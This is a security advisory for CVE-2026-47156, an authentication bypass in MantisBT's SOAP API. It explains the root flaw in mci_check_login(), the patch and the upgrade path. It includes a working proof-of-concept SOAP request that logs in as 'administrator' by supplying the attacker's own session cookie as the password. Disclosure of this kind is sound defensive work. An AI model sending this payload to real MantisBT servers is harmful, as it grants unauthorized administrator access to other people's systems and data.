criticalCVE-2026-47156Jul 15, 2026

CVE-2026-47156: MantisBT SOAP API Authentication Bypass with Privilege Escalation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A logic flaw in MantisBT's SOAP API lets any registered user impersonate the administrator by passing their own session cookie as the SOAP password, granting full admin access to all issues, projects,

Packagemantisbt/mantisbt
Ecosystemcomposer
Affected<= 2.28.3
Fixed in2.28.4

The problem

MantisBT 2.28.3 and earlier accept a MANTIS_STRING_COOKIE value as the password in every SOAP API call. The function mci_check_login() calls auth_user_id_from_cookie() on the supplied password, and if any valid cookie is found, it then calls auth_attempt_script_login() using the attacker-supplied username, not the user who owns the cookie.

This means an attacker who knows any valid cookie string (including their own, readable from the browser after self-registration) can supply administrator as the username and their own cookie as the password, and log in as the administrator. Self-registration is ON by default, so zero prior access is required.

Proof of concept

A working proof-of-concept for CVE-2026-47156 in mantisbt/mantisbt, with the exact payload below.

http
POST /api/soap/mantisconnect.php HTTP/1.1
Host: target.example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://futureware.biz/mantisconnect/mc_login"

<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="http://futureware.biz/mantisconnect">
  <SOAP-ENV:Body>
    <ns1:mc_login>
      <!-- username: the target account to impersonate (e.g. administrator) -->
      <username>administrator</username>
      <!-- password: attacker's OWN MANTIS_STRING_COOKIE value from their browser -->
      <password>a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4</password>
    </ns1:mc_login>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The root flaw (CWE-287 Improper Authentication, CWE-639 Authorization Bypass Through User-Controlled Key) is that mci_check_login() decouples authentication from authorization: it validates the cookie against ANY user in the database, then trusts the client-supplied username to determine which account to act as.

The attacker-owned cookie passes the auth_user_id_from_cookie() check, but auth_attempt_script_login() is then called with the attacker-chosen username, not the cookie owner.

The patch (commit e3571c31) adds a cross-check: the user ID resolved from the cookie must match the user ID resolved from the supplied username. If they differ, login fails. This makes the cookie-as-password path safe by anchoring the identity server-side.

The fix

Upgrade to MantisBT 2.28.4. The patched mci_check_login() verifies that the user resolved from the supplied cookie string matches the user resolved from the supplied username before proceeding. There is no workaround; disabling the SOAP API (removing or restricting access to api/soap/mantisconnect.php) is the only mitigation if an immediate upgrade is not possible.

Reported by McCaulay Hudson (@_McCaulay) of watchTowr.

References: [1][2][3][4]

Related research